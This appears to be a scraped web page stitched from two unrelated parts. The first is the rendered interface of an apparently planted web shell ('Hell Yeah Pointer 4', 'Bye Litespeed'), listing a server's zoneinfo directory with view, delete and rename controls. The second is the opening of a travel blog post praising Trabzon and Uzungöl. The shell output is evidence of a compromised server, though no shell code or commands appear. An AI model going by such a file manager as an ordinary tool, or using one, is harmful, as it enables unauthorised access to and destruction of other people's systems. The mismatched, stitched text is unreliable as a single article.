Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-04 16:10:57
curdir: / / usr / share / zoneinfo / Europe / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 11:16:58 0755
.. 4096 2026-01-04 11:16:58 0755
Amsterdam 2970 2025-12-17 21:51:57 0644
Andorra 1751 2025-12-17 21:51:57 0644
Astrakhan 1197 2025-12-17 21:51:57 0644
Athens 2271 2025-12-17 21:51:57 0644
Belfast 3687 2025-12-17 21:51:57 0644
Belgrade 1957 2025-12-17 21:51:57 0644
Berlin 2335 2025-12-17 21:51:57 0644
Bratislava 2338 2025-12-17 21:51:57 0644
Brussels 2970 2025-12-17 21:51:57 0644
Bucharest 2221 2025-12-17 21:51:57 0644
Budapest 2405 2025-12-17 21:51:57 0644
Busingen 1918 2025-12-17 21:51:57 0644
Chisinau 2445 2025-12-17 21:51:57 0644
Copenhagen 2335 2025-12-17 21:51:57 0644
Dublin 3543 2025-12-17 21:51:57 0644
Gibraltar 3077 2025-12-17 21:51:57 0644
Guernsey 3687 2025-12-17 21:51:57 0644
Helsinki 1909 2025-12-17 21:51:57 0644
Isle_of_Man 3687 2025-12-17 21:51:57 0644
Istanbul 1970 2025-12-17 21:51:57 0644
Jersey 3687 2025-12-17 21:51:57 0644
Kaliningrad 1532 2025-12-17 21:51:57 0644
Kiev 2143 2025-12-17 21:51:57 0644
Kirov 1199 2025-12-17 21:51:57 0644
Kyiv 2143 2025-12-17 21:51:57 0644
Lisbon 3541 2025-12-17 21:51:57 0644
Ljubljana 1957 2025-12-17 21:51:57 0644
London 3687 2025-12-17 21:51:57 0644
Luxembourg 2970 2025-12-17 21:51:57 0644
Madrid 2637 2025-12-17 21:51:57 0644
Malta 2629 2025-12-17 21:51:57 0644
Mariehamn 1909 2025-12-17 21:51:57 0644
Minsk 1370 2025-12-17 21:51:57 0644
Monaco 2971 2025-12-17 21:51:57 0644
Moscow 1544 2025-12-17 21:51:57 0644
Nicosia 2016 2025-12-17 21:51:57 0644
Oslo 2335 2025-12-17 21:51:57 0644
Paris 2971 2025-12-17 21:51:57 0644
Podgorica 1957 2025-12-17 21:51:57 0644
Prague 2338 2025-12-17 21:51:57 0644
Riga 2235 2025-12-17 21:51:57 0644
Rome 2692 2025-12-17 21:51:57 0644
Samara 1253 2025-12-17 21:51:57 0644
San_Marino 2692 2025-12-17 21:51:57 0644
Sarajevo 1957 2025-12-17 21:51:57 0644
Saratov 1197 2025-12-17 21:51:57 0644
Simferopol 1492 2025-12-17 21:51:57 0644
Skopje 1957 2025-12-17 21:51:57 0644
Sofia 2130 2025-12-17 21:51:57 0644
Stockholm 2335 2025-12-17 21:51:57 0644
Tallinn 2187 2025-12-17 21:51:57 0644
Tirane 2098 2025-12-17 21:51:57 0644
Tiraspol 2445 2025-12-17 21:51:57 0644
Ulyanovsk 1281 2025-12-17 21:51:57 0644
Uzhgorod 2143 2025-12-17 21:51:57 0644
Vaduz 1918 2025-12-17 21:51:57 0644
Vatican 2692 2025-12-17 21:51:57 0644
Vienna 2237 2025-12-17 21:51:57 0644
Vilnius 2199 2025-12-17 21:51:57 0644
Volgograd 1227 2025-12-17 21:51:57 0644
Warsaw 2705 2025-12-17 21:51:57 0644
Zagreb 1957 2025-12-17 21:51:57 0644
Zaporozhye 2143 2025-12-17 21:51:57 0644
Zurich 1918 2025-12-17 21:51:57 0644
Karem - You will visit Trabzon after this article

You will visit Trabzon after this article

  • Home
  • Blogs
  • You will visit Trabzon after this article
Blog Details

You will visit Trabzon after this article

When we talk about picturesque nature, clean air, beautiful forests, green spaces, and clear springs, know that the talk is focused on the charming city of Trabzon, with its wonderful sea views of the Black Sea.

The city of Trabzon, which is called the Pearl of the Black Sea, is one of the most beautiful parts of Turkey. It is close to the Georgian border from the northeastern side of Turkey, and near it is the city of Rize, which exports tea to various parts of the world.

 

Trabzon is approximately 1069 km from Istanbul, 39 meters above sea level, where the port of Trabzon is located on the Black Sea. The city’s population is approximately 757,000, according to 2019 statistics, and its area is approximately 4,000 km. Tourism in Trabzon is the backbone of the city’s economy, as it receives thousands of Arab tourists annually.

Trabzon has a warm climate in summer, and humid and cold in winter, and there is usually a lot of rain and snow in the region.

 

Uzungöl Trabzon - the most important tourist places in Trabzon

Uzungöl Trabzon is one of the most popular tourist destinations, how not? It is the lake that has a special luster, and a distinctive charm, which tops the beauty and splendor of all those around it from the other lakes, as it is located at a distance of approximately 96 km from the city center, and on its sides are the mountainous heights covered with a wonderful green carpet, and you can imagine the amount of beauty represented when you travel In Uzungol, and seeing the view of this lake in the winter, especially, when the fog covers the mountains and the heights around it.